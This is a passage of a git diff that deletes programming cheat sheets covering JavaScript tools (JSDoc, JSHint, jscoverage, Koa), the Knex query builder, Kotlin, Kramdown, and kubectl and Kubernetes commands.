-```
-
-```bash
-# Instances
-project.bind "update", ->
-project.bind "destroy", ->
-```
-
-```bash
-project.trigger "turn_blue"
-```
-
-### References
-
-{: .-one-column}
-
--   [http://benpickles.github.io/js-model/](http://benpickles.github.io/js-model/)
diff --git a/docs/content/cheat-sheets/js-speech.md b/docs/content/cheat-sheets/js-speech.md
deleted file mode 100644
index 6dabcaf6f1..0000000000
--- a/docs/content/cheat-sheets/js-speech.md
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: JavaScript speech synthesis
-category: JavaScript
-
-weight: -1
----
-
-## SpeechSynthesisUtterance
-
-{: .-one-column}
-
----
-
-```js
-function speak(message) {
-    var msg = new SpeechSynthesisUtterance(message);
-    var voices = window.speechSynthesis.getVoices();
-    msg.voice = voices[0];
-    window.speechSynthesis.speak(msg);
-}
-```
-
-```js
-speak('Hello, world');
-```
-
-See: [SpeechSynthesisUtterance](https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance) _(developer.mozilla.org)_
diff --git a/docs/content/cheat-sheets/jscoverage.md b/docs/content/cheat-sheets/jscoverage.md
deleted file mode 100644
index 3f44aa5608..0000000000
--- a/docs/content/cheat-sheets/jscoverage.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: jscoverage
-category: JavaScript libraries
-
-intro: |
-    A small guide into installing [jscoverage](https://npmjs.com/package./jscoverage). Also see [mocha-blanket](./mocha-blanket).
----
-
-### Install
-
-#### Install via npm
-
-```bash
-npm install --save-dev jscoverage
-```
-
-#### Ignore output
-
-```bash
-echo coverage.html >> .gitignore
-```
-
-### package.json
-
-The `coverage` task injects your source files (`lib`) with jscoverage hooks, runs `mocha -R html-cov`, then restores later.
-{: .-setup}
-
-```bash
-/* directory */
-"coverage": "mv lib lib~; (jscoverage lib~ lib; mocha -R html-cov > coverage.html); rm -rf lib; mv lib~ lib"
-```
-
-{: .-hard-wrap}
-
-```bash
-/* single file */
-"coverage": "(cp index.js index.js~; jscoverage index.js; mv index-cov.js index.js; mocha -R html-cov > coverage.html); mv index.js~ index.js"
-```
-
-{: .-hard-wrap}
-
-### Run
-
-```bash
-npm run coverage
-```
-
-```bash
-open coverage.html
-```
-
-### Caveats
-
-If you're using jsdom, be sure to expose the `window._$jscoverage` variable into
-the `global` scope.
diff --git a/docs/content/cheat-sheets/jsdoc.md b/docs/content/cheat-sheets/jsdoc.md
deleted file mode 100644
index 39d4439b93..0000000000
--- a/docs/content/cheat-sheets/jsdoc.md
+++ /dev/null
@@ -1,148 +0,0 @@
----
-title: Jsdoc
-category: JavaScript
-
-weight: -1
----
-
-### Functions
-
-```js
-/**
- * This is a function.
- *
- * @param {string} n - A string param
- * @return {string} A good string
- *
- * @example
- *
- *     foo('hello')
- */
-
-function foo(n) {
-    return n;
-}
-```
-
-See: <https://jsdoc.app/index.html>
-
-### Types
-
-| Type                            | Description                           |
-| ------------------------------- | ------------------------------------- | -------------- |
-| `@param {string=} n`            | Optional                              |
-| `@param {string} [n]`           | Optional                              |
-| `@param {(string                | number)} n`                           | Multiple types |
-| `@param {*} n`                  | Any type                              |
-| `@param {...string} n`          | Repeatable arguments                  |
-| `@param {string} [n="hi"]`      | Optional with default                 |
-| `@param {string[]} n`           | Array of strings                      |
-| `@return {Promise<string[]>} n` | Promise fulfilled by array of strings |
-
-See: <https://jsdoc.app/tags-type.html>
-
-### Variables
-
-```js
-/**
- * @type {number}
- */
-var FOO = 1;
-```
-
-```js
-/**
- * @const {number}
- */
-const FOO = 1;
-```
-
-### Typedef
-
-```js
-/**
- * A song
- * @typedef {Object} Song
- * @property {string} title - The title
- * @property {string} artist - The artist
- * @property {number} year - The year
- */
-```
-
-```js
-/**
- * Plays a song
- * @param {Song} song - The {@link Song} to be played
- */
-
-function play(song) {}
-```
-
-See: <https://jsdoc.app/tags-typedef.html>
-
-### Typedef Shorthand
-
-{% raw %}
-
-```js
-/**
- * A song
- * @typedef {{title: string, artist: string, year: number}} Song
- */
-```
-
-{% endraw %}
-
-```js
-/**
- * Plays a song
- * @param {Song} song - The {@link Song} to be played
- */
-
-function play(song) {}
-```
-
-See: <https://jsdoc.app/tags-typedef.html>
-
-### Importing types
-
-```js
-/**
- * @typedef {import('./Foo').default} Bar
- */
-
-/**
- * @param {Bar} x
- */
-
-function test(x) {}
-```
-
-This syntax is [TypeScript-specific](https://github.com/Microsoft/TypeScript/wiki/JsDoc-support-in-JavaScript#import-types).
-
-### Other keywords
-
-```js
-/**
- * @throws {FooException}
- * @private
- * @deprecated
- * @see
- *
- * @function
- * @class
- */
-```
-
-See the full list: <https://jsdoc.app/index.html#block-tags>
-
-### Renaming
-
-```js
-/*
- * @alias Foo.bar
- * @name Foo.bar
- */
-```
-
-Prefer `alias` over `name`. See: <https://jsdoc.app/tags-alias.html>
diff --git a/docs/content/cheat-sheets/jshint.md b/docs/content/cheat-sheets/jshint.md
deleted file mode 100644
index b62758c446..0000000000
--- a/docs/content/cheat-sheets/jshint.md
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: Jshint
-category: JavaScript libraries
----
-
-### Relaxing
-
-Enable these options to _not_ throw errors in these conditions.
-See: [Relaxing](http://www.jshint.com/docs/options/#relaxing-options)
-{: .-setup}
-
-```js
-/* jshint asi: true */
-allow();
-missing_semicolons();
-```
-
-```js
-/* jshint boss: true */
-if (m = str.match(/.../))
-```
-
-```js
-/* jshint debug: true */
-debugger;
-```
-
-```js
-/* jshint eqnull: true */
-if (x == null)
-```
-
-```js
-/* jshint evil: true */
-eval('...');
-```
-
-```js
-/* jshint expr: true */
-production && minify = true;
-div.innerWidth;
-expect(x).be.true;
-```
-
-```js
-/* jshint laxcomma: true */
-var one = 1,
-    two = 2;
-```
-
-```js
-/* jshint loopfunc: true */
-for (i=0; i<10; x++) {
-  (function(i) { ... })(i);
-}
-```
-
-```js
-/* jshint sub: true */
-process.env['name_here'];
-```
-
-```js
-/* jshint strict: "global" */
-'use strict';
-```
-
-### Enforcing
-
-Enable these options to catch more errors.
-See: [Enforcing](http://www.jshint.com/docs/options/#enforcing-options)
-{: .-setup}
-
-```js
-/* jshint curly: true */
-while (day)
-    // err: use { }'s
-    shuffle();
-```
-
-```js
-/* jshint eqeqeq: true */
-if (a == null)                  // err: use ===
-```
-
-```js
-/* jshint es3: true */
-// ...for legacy IE compatibility
-a.default = function() { ... }; // err: reserved word
-array = [ 1, 2, 3, ];           // err: extra comma
-```
-
-```js
-/* jshint forin: true */
-for (key in obj) { ... }        // err: check obj.hasOwnProperty(key)
-```
-
-```js
-/* jshint freeze: true */
-Array.prototype.count = ...;    // err: don't modify native prototypes
-```
-
-```js
-/* jshint indent: 4 */
-if (x) {                        // err: expected indent of 4, found 2
-  ...;
-}
-```
-
-```js
-/* jshint quotmark: single */
-/* jshint quotmark: double */
-alert('hi'); // err: only single allowed
-```
-
-```js
-/* jshint strict: true */
-function() { ... }              // err: need "use strict"
-```
-
-```js
-/* jshint white: true, indent: 4 */
-/* jshint maxdepth: 2 */
-/* jshint maxparams: 3 */
-/* jshint maxstatements: 4 */
-/* jshint maxcomplexity: 5 */
-/* jshint maxlen: 80 */
-```
-
-### Ignore
-
-```js
-/* jshint ignore:start */
-/* jshint ignore:end */
-```
-
-### Globals and Environments
-
-```js
-/* jshint undef: true */
-/* global jQuery */
-/* global -BAD_LIB */
-```
-
-```js
-/* jshint devel: true */   console, alert, ...
-/* jshint browser: true */ window, document, location, ...
-/* jshint node: true */    module, exports, console, process, ...
-/* jshint jquery: true */  jQuery, $
-```
-
-See: [Environments](http://www.jshint.com/docs/options/#environments)
-
-### Also see
-
--   <http://www.jshint.com/docs/options/>
--   <https://gist.github.com/haschek/2595796>
diff --git a/docs/content/cheat-sheets/kill.md b/docs/content/cheat-sheets/kill.md
deleted file mode 100644
index c0ef14a9be..0000000000
--- a/docs/content/cheat-sheets/kill.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To kill a process gracefully:
-
-kill -15 <pid>
-
-# To kill a process forcefully:
-
-kill -9 <pid>
diff --git a/docs/content/cheat-sheets/knex.md b/docs/content/cheat-sheets/knex.md
deleted file mode 100644
index 4756ae6355..0000000000
--- a/docs/content/cheat-sheets/knex.md
+++ /dev/null
@@ -1,511 +0,0 @@
----
-title: Knex
-
-category: Databases
-intro: |
-    [Knex](http://knexjs.org/) is an SQL query builder for Node.js.
-    This guide targets v0.13.0.
----
-
-## Getting started
-
-### Connect
-
-```js
-require('knex')({
-    client: 'pg',
-    connection: 'postgres://user:pass@localhost:5432/dbname'
-});
-```
-
-See: [Connect](#connect-1)
-
-### Create table
-
-```js
-knex.schema.createTable('user', (table) => {
-  table.increments('id')
-  table.string('name')
-  table.integer('age')
-})
-.then(() => ···)
-```
-
-See: [Schema](#schema)
-
-### Select
-
-```js
-knex('users')
-  .where({ email: 'hi@example.com' })
-  .then(rows => ···)
-```
-
-{: data-line="2"}
-
-See: [Select](#select-1)
-
-### Insert
-
-```js
-knex('users').insert({ email: 'hi@example.com' });
-```
-
-{: data-line="2"}
-
-See: [Insert](#insert-1)
-
-### Update
-
-```js
-knex('users').where({ id: 135 }).update({ email: 'hi@example.com' });
-```
-
-{: data-line="2,3"}
-
-See: [Update](#update-1)
-
-### Migrations
-
-```bash
-knex init
-knex migrate:make migration_name
-knex migrate:make migration_name -x ts # Generates a TypeScript migration file
-knex migrate:latest
-knex migrate:rollback
-```
-
-See: [Migrations](#migrations-1)
-
-### Seeds
-
-```bash
-knex seed:make seed_name
-knex seed:make seed_name -x ts # Generates a TypeScript seed file
-knex seed:run # Runs all seed files
-knex seed:run --specific=seed-filename.js # Runs a specific seed file
-```
-
-See: [Seeds](http://knexjs.org/#Seeds)
-
-## Connect
-
-### Libraries
-
-| `pg` | PostgreSQL |
-| `mysql` | MySQL or MariaDB |
-| `sqlite3` | Sqlite3 |
-| `mssql` | MSSQL |
-
-Install any of these packages along with `knex`.
-
-See: [Node.js installation](http://knexjs.org/#Installation-node)
-
-### Connect via host
-
-```js
-var knex = require('knex')({
-    client: 'mysql',
-    connection: {
-        host: '127.0.0.1',
-        user: 'your_database_user',
-        password: 'your_database_password',
-        database: 'myapp_test'
-    },
-    pool: { min: 0, max: 7 }
-});
-```
-
-{: data-line="2,3"}
-
-See: [Initializing the library](http://knexjs.org/#Installation-client)
-
-### Connect via URL
-
-```js
-var pg = require('knex')({
-    client: 'pg',
-    connection: process.env.DATABASE_URL,
-    searchPath: 'knex,public',
-    pool: { min: 0, max: 7 }
-});
-```
-
-{: data-line="2,3"}
-
-### Connect via Sqlite
-
-```js
-var knex = require('knex')({
-    client: 'sqlite3',
-    connection: { filename: './mydb.sqlite' }
-});
-```
-
-{: data-line="2,3"}
-
-## Select
-
-### Where
-
-```js
-knex.from('books').select('title', 'author', 'year');
-```
-
-#### Where
-
-```js
-  .where('title', 'Hello')
-  .where({ title: 'Hello' })
-  .whereIn('id', [1, 2, 3])
-  .whereNot(···)
-  .whereNotIn('id', [1, 2, 3])
-```
-
-#### Where conditions
-
-```js
-  .whereNull('updated_at')
-  .whereNotNull(···)
-```
-
-```js
-  .whereExists('updated_at')
-  .whereNotExists(···)
-```
-
-```js
-  .whereBetween('votes', [1, 100])
-  .whereNotBetween(···)
-```
-
-```js
-  .whereRaw('id = ?', [1])
-```
-
-#### Where grouping
-
-```js
-  .where(function () {
-    this
-      .where('id', 1)
-      .orWhere('id', '>', 10)
-  })
-```
-
-See: [Where clauses](http://knexjs.org/#Builder-wheres)
-
-### Join
-
-```js
-knex('users');
-```
-
-#### Basic join
-
-```js
-  .join('contacts', 'users.id', '=', 'contacts.id')
-  .join('contacts', {'users.id': 'contacts.id'})
-```
-
-#### Strings
-
-```js
-  .join('accounts', 'accounts.type', '=', knex.raw('?', ['admin']))
-```
-
-#### Directions
-
-```js
-  .leftJoin(···)
-  .leftOuterJoin(···)
-  .rightJoin(···)
-  .rightOuterJoin(···)
-  .outerJoin(···)
-  .fullOuterJoin(···)
-  .crossJoin(···)
-```
-
-#### Raw
-
-```js
-  .joinRaw('natural full join table1')
-```
-
-#### Grouping
-
-```js
-  .join('accounts', function () {
-    this
-      .on('accounts.id', '=', 'users.account_id')
-      .orOn('accounts.owner_id', '=', 'users.id')
-
-      .onIn('accounts.id', [1, 2, 3, 5, 8])
-      .onNotIn(···)
-
-      .onNull('accounts.email')
-      .onNotNull(···)
-
-      .onExists(function () {
-        this.select(···)
-      })
-      .onNotExists(···)
-  })
-```
-
-See: [Join methods](http://knexjs.org/#Builder-join)
-
-### Others
-
-```js
-knex('users').distinct();
-```
-
-#### Group
-
-```js
-  .groupBy('count')
-  .groupByRaw('year WITH ROLLUP')
-```
-
-#### Order
-
-```js
-  .orderBy('name', 'desc')
-  .orderByRaw('name DESC')
-```
-
-#### Offset/limit
-
-```js
-  .offset(10)
-  .limit(20)
-```
-
-#### Having
-
-```js
-  .having('count', '>', 100)
-  .havingIn('count', [1, 100])
-```
-
-#### Union
-
-```js
-  .union(function() {
-    this.select(···)
-  })
-  .unionAll(···)
-```
-
-See: [Query builder](http://knexjs.org/#Builder)
-
-### Etc
-
-```js
-knex('users')
-  .pluck('id')
-  .then(ids => { ··· })
-```
-
-```js
-knex('users')
-  .first()
-  .then(user => { ··· })
-```
-
-#### Booleans
-
-```js
-  .count('active')
-  .count('active as is_active')
-```
-
-#### Numbers
-
-```js
-  .min('age')
-  .max('age')
-  .sum('age')
-  .sumDistinct('age')
-  .avg('age')
-```
-
-See: [Query builder](http://knexjs.org/#Builder)
-
-## Schema
-
-### Create table
-
-```js
-knex.schema.createTable('accounts', table => {
-```
-
-#### Columns
-
-```js
-table.increments('id');
-table.string('account_name');
-table.integer('age');
-table.float('age');
-table.decimal('balance', 8, 2);
-table.boolean('is_admin');
-table.date('birthday');
-table.time('created_at');
-table.timestamp('created_at').defaultTo(knex.fn.now());
-table.json('profile');
-table.jsonb('profile');
-table.uuid('id').primary();
-```
-
-#### Constraints
-
-```js
-  table.unique('email')
-  table.unique(['email', 'company_id'])
-  table.dropUnique(···)
-```
-
-#### Indices
-
-```js
-  table.foreign('company_id')
-    .references('companies.id')
-  table.dropForeign(···)
-```
-
-#### Variations
-
-```js
-table.integer('user_id').unsigned().references('users.id');
-```
-
-```js
-})
-.then(() => ···)
-```
-
-{: .-setup}
-
-See: [Schema builder](http://knexjs.org/#Schema)
-
-### Alter table
-
-```js
-knex.schema.table('accounts', table => {
-```
-
-#### Create
-
-```js
-table.string('first_name');
-```
-
-#### Alter
-
-```js
-table.string('first_name').alter();
-table.renameColumn('admin', 'is_admin');
-```
-
-#### Drop
-
-```js
-table.dropColumn('admin');
-table.dropTimestamps('created_at');
-```
-
-```js
-})
-```
-
-{: .-setup}
-
-See: [Schema builder](http://knexjs.org/#Schema)
-
-### Other methods
-
-```js
-knex.schema.renameTable('persons', 'people').dropTable('persons');
-```
-
-```js
-  .hasTable('users').then(exists => ···)
-  .hasColumn('users', 'id').then(exists => ···)
-```
-
-See: [Schema builder](http://knexjs.org/#Schema)
-
-## Modifying
-
-### Insert
-
-```js
-knex('users');
-```
-
-#### Insert one
-
-```js
-  .insert({ name: 'John' })
-```
-
-#### Insert many
-
-```js
-  .insert([
-    { name: 'Starsky' },
-    { name: 'Hutch' }
-  ])
-```
-
-See: [Insert](http://knexjs.org/#Builder-insert)
-
-### Update
-
-```js
-knex('users').where({ id: 2 }).update({ name: 'Homer' });
-```
-
-See: [Update](http://knexjs.org/#Builder-update)
-
-### Delete
-
-```js
-knex('users').where({ id: 2 }).del();
-```
-
-See: [Delete](http://knexjs.org/#Builder-del)
-
-## Migrations
-
-### Setting up
-
-#### Create knexfile.js
-
-```
-./node_modules/.bin/knex init
-```
-
-#### Create a migration
-
-```
-knex migrate:make migration_name
-knex migrate:make migration_name --env production
-```
-
-#### Run migrations
-
-```
-knex migrate:latest
-knex migrate:latest --env production
-```
-
-#### Rollback
-
-```
-knex migrate:rollback
-knex migrate:rollback --env production
-```
-
-See: [Migrations](http://knexjs.org/#Migrations)
diff --git a/docs/content/cheat-sheets/koa.md b/docs/content/cheat-sheets/koa.md
deleted file mode 100644
index 49a8f4ca8d..0000000000
--- a/docs/content/cheat-sheets/koa.md
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Koa
-category: JavaScript libraries
----
-
-### Reference
-
-```js
-app.use(function * (next) {
-  var ctx = this
-
-  ctx.request
-  ctx.response
-
-  ctx.body = 'hello'
-
-  ctx.state.user = yield User.find(id).fetch()
-
-  ctx.cookies.set('foo', 'hello', { signed: true })
-  ctx.cookies.get('foo')
-
-  ctx.throw(403)
-```
-
-### Request
-
-```js
-ctx.header; // ctx.headers
-ctx.method; // and =
-ctx.url; // and =
-ctx.originalUrl;
-ctx.origin; // => 'http://example.com'
-ctx.href; // => 'http://example.com/foo?q=hello'
-ctx.path; // and =
-ctx.query; // { q: 'hello' }
-ctx.query; // and =
-ctx.querystring;
-ctx.querystring; // and =
-ctx.host;
-ctx.hostname;
-ctx.fresh;
-ctx.stale;
-ctx.socket;
-ctx.protocol;
-ctx.secure;
-ctx.ip;
-ctx.ips;
-ctx.subdomains;
-ctx.is(); // .is('html') .is('text/html')
-ctx.accepts(); // .accepts('html') .accepts('html', 'json')
-ctx.acceptsEncodings(); // .acceptsEncodings('gzip')
-ctx.acceptsCharsets();
-ctx.acceptsLanguages();
-ctx.get();
-
-ctx.request.type; // => 'image/jpg'
-ctx.request.charset; // => 'utf-8'
-ctx.request.protocol; // => 'https'
-ctx.request.secure; // => true
-ctx.request.ip; // (supports X-Forwarded-For if app.proxy)
-ctx.request.ips;
-ctx.request.subdomains;
-
-ctx.request.fresh;
-ctx.request.stale;
-```
-
-### Response
-
-```js
-ctx.body = 'hello';
-
-ctx.throw(403);
-ctx.throw('name required', 403);
-ctx.throw(403, 'name required');
-ctx.throw('oops');
-ctx.assert(ctx.state.user, 401, 'You must log in');
-```
-
-### Middlewares
-
-```js
-exports.conditionalGet = require('koa-conditional-get');
-exports.responseTime = require('koa-response-time');
-exports.ratelimit = require('koa-ratelimit');
-exports.compress = require('koa-compress');
-exports.rewrite = require('koa-rewrite');
-exports.favicon = require('koa-favicon');
-exports.session = require('koa-session');
-exports.static = require('koa-static');
-exports.logger = require('koa-logger');
-exports.mount = require('koa-mount');
-exports.etag = require('koa-etag');
-```
diff --git a/docs/content/cheat-sheets/kotlin.md b/docs/content/cheat-sheets/kotlin.md
deleted file mode 100644
index 0dac06b4b9..0000000000
--- a/docs/content/cheat-sheets/kotlin.md
+++ /dev/null
@@ -1,401 +0,0 @@
----
-title: Kotlin
-
-category: Java & JVM
-prism_languages: [kotlin]
-intro: |
-    [Kotlin](http://kotlinlang.org/) is a statically typed programming language for modern multiplatform applications.
----
-
-## Variables
-
-### Mutability
-
-```kotlin
-var mutableString: String = "Adam"
-val immutableString: String = "Adam"
-val inferredString = "Adam"
-```
-
-### Strings
-
-```kotlin
-val name = "Adam"
-val greeting = "Hello, " + name
-val greetingTemplate = "Hello, $name"
-val interpolated = "Hello, ${name.toUpperCase()}"
-```
-
-### Numbers
-
-```kotlin
-val intNum = 10
-val doubleNum = 10.0
-val longNum = 10L
-val floatNum = 10.0F
-```
-
-### Booleans
-
-```kotlin
-val trueBoolean = true
-val falseBoolean = false
-val andCondition = trueBoolean && falseBoolean
-val orCondition = trueBoolean || falseBoolean
-```
-
-### Static Fields
-
-```kotlin
-class Person {
-    companion object {
-        val NAME_KEY = "name_key"
-    }
-}
-
-val key = Person.NAME_KEY
-```
-
-## Null Safety
-
-{: .-two-column}
-
-### Nullable properties
-
-```kotlin
-val cannotBeNull: String = null // Invalid
-val canBeNull: String? = null // Valid
-
-val cannotBeNull: Int = null // Invalid
-val canBeNull: Int? = null // Valid
-```
-
-### Checking for null
-
-```kotlin
-val name: String? = "Adam"
-
-if (name != null && name.length > 0) {
-    print("String length is ${name.length}")
-} else {
-    print("String is empty.")
-}
-```
-
-### Safe Operator
-
-```kotlin
-val nullableStringLength: Int? = nullableString?.length
-val nullableDepartmentHead: String? = person?.department?.head?.name
-```
-
-### Elvis Operator
-
-```kotlin
-val nonNullStringLength: Int = nullableString?.length ?: 0
-val nonNullDepartmentHead: String = person?.department?.head?.name ?: ""
-val nonNullDepartmentHead: String = person?.department?.head?.name.orEmpty()
-```
-
-### Safe Casts
-
-```kotlin
-// Will not throw ClassCastException
-val nullableCar: Car? = (input as? Car)
-```
-
-## Collections
-
-{: .-two-column}
-
-### Creation
-
-```kotlin
-val numArray = arrayOf(1, 2, 3)
-val numList = listOf(1, 2, 3)
-val mutableNumList = mutableListOf(1, 2, 3)
-```
-
-### Accessing
-
-```kotlin
-val firstItem = numList[0]
-val firstItem = numList.first()
-val firstItem = numList.firstOrNull()
-```
-
-### Maps
-
-```kotlin
-val faceCards = mutableMapOf("Jack" to 11, "Queen" to 12, "King" to 13)
-val jackValue = faceCards["Jack"] // 11
-faceCards["Ace"] = 1
-```
-
-### Mutability
-
-```kotlin
-val immutableList = listOf(1, 2, 3)
-val mutableList = immutableList.toMutableList()
-
-val immutableMap = mapOf("Jack" to 11, "Queen" to 12, "King" to 13)
-val mutableMap = immutableMap.toMutableMap()
-```
-
-### Iterating
-
-```kotlin
-for (item in myList) {
-    print(item)
-}
-
-myList.forEach {
-    print(it)
-}
-
-myList.forEachIndexed { index, item ->
-    print("Item at $index is: $item")
-}
-```
-
-### Filtering & Searching
-
-```kotlin
-val evenNumbers = numList.filter { it % 2 == 0 }
-val containsEven = numList.any { it % 2 == 0 }
-val containsNoEvens = numList.none { it % 2 == 0 }
-val containsNoEvens = numList.all { it % 2 == 1 }
-val firstEvenNumber: Int = numList.first { it % 2 == 0 }
-val firstEvenOrNull: Int? = numList.firstOrNull { it % 2 == 0 }
-```
-
-Note: `it` is the [implicit name for a single parameter](https://kotlinlang.org/docs/reference/lambdas.html#it-implicit-name-of-a-single-parameter).
-
-## Functions
-
-{: .-two-column}
-
-### Parameters & Return Types
-
-```kotlin
-fun printName() {
-    print("Adam")
-}
-
-fun printName(person: Person) {
-    print(person.name)
-}
-
-fun getGreeting(person: Person): String {
-    return "Hello, ${person.name}"
-}
-
-fun getGreeting(person: Person): String = "Hello, ${person.name}"
-fun getGreeting(person: Person) = "Hello, ${person.name}"
-```
-
-### Higher Order Functions
-
-```kotlin
-fun callbackIfTrue(condition: Boolean, callback: () -> Unit) {
-    if (condition) {
-        callback()
-    }
-}
-
-callbackIfTrue(someBoolean) {
-    print("Condition was true")
-}
-```
-
-### Extension Functions
-
-```kotlin
-fun Int.timesTwo(): Int {
-    return this * 2
-}
-
-val four = 2.timesTwo()
-```
-
-### Default Parameters
-
-```kotlin
-fun getGreeting(person: Person, intro: String = "Hello,") {
-    return "$intro ${person.name}"
-}
-
-// Returns "Hello, Adam"
-val hello = getGreeting(Person("Adam"))
-
-// Returns "Welcome, Adam"
-val welcome = getGreeting(Person("Adam"), "Welcome,")
-```
-
-### Named Parameters
-
-```kotlin
-class Person(val name: String = "", age: Int = 0)
-
-// All valid
-val person = Person()
-val person = Person("Adam", 100)
-val person = Person(name = "Adam", age = 100)
-val person = Person(age = 100)
-val person = Person(age = 100, name = "Adam")
-```
-
-### Static Functions
-
-```kotlin
-class Fragment(val args: Bundle) {
-    companion object {
-        fun newInstance(args: Bundle): Fragment {
-            return Fragment(args)
-        }
-    }
-}
-
-val fragment = Fragment.newInstance(args)
-```
-
--   [Companion Objects](https://kotlinlang.org/docs/reference/object-declarations.html#companion-objects)
-
-## Classes
-
-{: .-two-column}
-
-### Primary Constructor
-
-```kotlin
-class Person(val name: String, val age: Int)
-val adam = Person("Adam", 100)
-```
-
-### Secondary Constructors
-
-```kotlin
-class Person(val name: String) {
-    private var age: Int? = null
-
-    constructor(name: String, age: Int) : this(name) {
-        this.age = age
-    }
-}
-
-// Above can be replaced with default params
-class Person(val name: String, val age: Int? = null)
-```
-
-### Inheritance & Implementation
-
-```kotlin
-open class Vehicle
-class Car : Vehicle()
-
-interface Runner {
-    fun run()
-}
-
-class Machine : Runner {
-    override fun run() {
-        // ...
-    }
-}
-```
-
-## Control Flow
-
-{: .-two-column}
-
-### If Statements
-
-```kotlin
-if (someBoolean) {
-    doThing()
-} else {
-    doOtherThing()
-}
-```
-
-### For Loops
-
-```kotlin
-for (i in 0..10) { } // 1 - 10
-for (i in 0 until 10) // 1 - 9
-(0..10).forEach { }
-for (i in 0 until 10 step 2) // 0, 2, 4, 6, 8
-```
-
-### When Statements
-
-```kotlin
-when (direction) {
-    NORTH -> {
-        print("North")
-    }
-    SOUTH -> print("South")
-    EAST, WEST -> print("East or West")
-    "N/A" -> print("Unavailable")
-    else -> print("Invalid Direction")
-}
-```
-
-### While Loops
-
-```kotlin
-while (x > 0) {
-    x--
-}
-
-do {
-    x--
-} while (x > 0)
-```
-
-## Destructuring Declarations
-
-{: .-two-column}
-
-### Objects & Lists
-
-```kotlin
-val person = Person("Adam", 100)
-val (name, age) = person
-
-val pair = Pair(1, 2)
-val (first, second) = pair
-
-val coordinates = arrayOf(1, 2, 3)
-val (x, y, z) = coordinates
-```
-
-### ComponentN Functions
-
-```kotlin
-class Person(val name: String, val age: Int) {
-	operator fun component1(): String {
-		return name
-	}
-
-	operator fun component2(): Int {
-		return age
-	}
-}
-```
-
-## References
-
-{: .-one-column}
-
--   [Defining Variables](https://kotlinlang.org/docs/reference/basic-syntax.html#defining-variables) _(kotlinlang.org)_
--   [Strings Documentation](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html) _(kotlinlang.org)_
--   [String Templates](https://kotlinlang.org/docs/reference/basic-types.html#string-templates) _(kotlinlang.org)_
--   [Basic Types](https://kotlinlang.org/docs/reference/basic-types.html) _(kotlinlang.org)_
--   [Companion Objects](https://kotlinlang.org/docs/reference/object-declarations.html#companion-objects) _(kotlinlang.org)_
--   [Null Safety](https://kotlinlang.org/docs/reference/null-safety.html) _(kotlinlang.org)_
--   [Collections Overview](https://kotlinlang.org/docs/reference/collections.html) _(kotlinlang.org)_
--   [Collections Documentation](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.collections/index.html) _(kotlinlang.org)_
--   [Functions Documentation](https://kotlinlang.org/docs/reference/functions.html) _(kotlinlang.org)_
--   [Classes Documentation](https://kotlinlang.org/docs/reference/classes.html) _(kotlinlang.org)_
--   [Destructuring Declarations](https://kotlinlang.org/docs/reference/multi-declarations.html) _(kotlinlang.org)_
diff --git a/docs/content/cheat-sheets/kramdown.md b/docs/content/cheat-sheets/kramdown.md
deleted file mode 100644
index e103129fd2..0000000000
--- a/docs/content/cheat-sheets/kramdown.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Kramdown
-category: Markup
----
-
-### Configuration
-
--   `parse_block_html` - process kramdown syntax inside blocks
--   `parse_span_html` - process kramdown syntax inside inlines
--   `html_to_native` - convert html elements to native elements
-
-    {::options parse_block_html="true" /}
-
-For the GFM parser:
-
--   `hard_wrap`
-
-http://kramdown.gettalong.org/parser/gfm.html
-
-### For jekyll (gh-pages)
-
-    # _config.yml
-    markdown: kramdown
-    kramdown:
-      input: GFM
-
-### Footnotes (Kramdown)
-
-    This is some text.[^1]. Other text.[^footnote].
-
-    [^1]: Some *crazy* footnote definition.
-
-### Abbreviations (Kramdown)
-
-    This is some text not written in HTML but in another language!
-
-    *[another language]: It's called Markdown
-    *[HTML]: HyperTextMarkupLanguage
-
-### Classes and IDs (Kramdown)
-
-    A simple paragraph with an ID attribute.
-    {: #para-one}
-
-    > A blockquote with a title
-    {:title="The blockquote title"}
-    {: #myid}
-
-    * {:.cls} This item has the class "cls"
-
-    {:.ruby}
-        Some code here
-
-### References
-
--   http://kramdown.gettalong.org/syntax.html
--   http://kramdown.gettalong.org/parser/kramdown.html
diff --git a/docs/content/cheat-sheets/kubectl.md b/docs/content/cheat-sheets/kubectl.md
deleted file mode 100644
index 4bd5a4c7a1..0000000000
--- a/docs/content/cheat-sheets/kubectl.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# Display list of all available commands
-
-kubectl -h
-
-# Display an explanation of a specific command
-
-kubectl command_name -h
-
-# Display complete list of supported resources
-
-kubectl api-resources
-
-# Display an explanation of a specific resource
-
-kubectl explain resource_name
-
-# Display an explanation of a specific field of resource
-
-kubectl explain resource_name.field_name
-
-# Display list of global command-line options
-
-kubectl options
-
-# Setup Kubectl autocomplete in bash(to use press Tab)
-
-source <(kubectl completion bash)
-
-# Display all resources in all namespaces
-
-kubectl get all -A
diff --git a/docs/content/cheat-sheets/kubernetes.md b/docs/content/cheat-sheets/kubernetes.md
deleted file mode 100644
index ea6f071628..0000000000
--- a/docs/content/cheat-sheets/kubernetes.md
+++ /dev/null
@@ -1,210 +0,0 @@
-# Kubernetes
-
--   PDF: https://sematext.com/kubernetes-cheat-sheet/
--   WEBSITE: https://kubernetes.io/
--   DOCUMENTATION: https://kubernetes.io/docs/home
-
-## Client Configuration
-
--   Setup autocomplete in bash; bash-completion package should be installed first
-
-```
-source <(kubectl completion bash)
-```
-
--   View Kubernetes config
-
-```
-kubectl config view
-```
-
--   View specific config items by json path
-
-```
-kubectl config view -o jsonpath='{.users[?(@.name == "k8s")].user.password}'
-```
-
--   Set credentials for `foo.kuberntes.com`
-
-```
-kubectl config set-credentials kubeuser/foo.kubernetes.com --username=kubeuser --password=kubepassword
-```
-
--   Set active namespace
-
-```
-kubectl config set-context --current --namespace=namespace_name
-```
-
-## Viewing, Finding resources
-
--   List all services in the namespace
-
-```
-kubectl get services
-```
-
--   List all pods in all namespaces in wide format
-
-```
-kubectl get pods -o wide --all-namespaces
-```
-
--   List all pods in json (or yaml) format
-
-```
-kubectl get pods -o json
-```
-
--   Describe resource details (node, pod, svc)
-
-```
-kubectl describe nodes my-node
-```
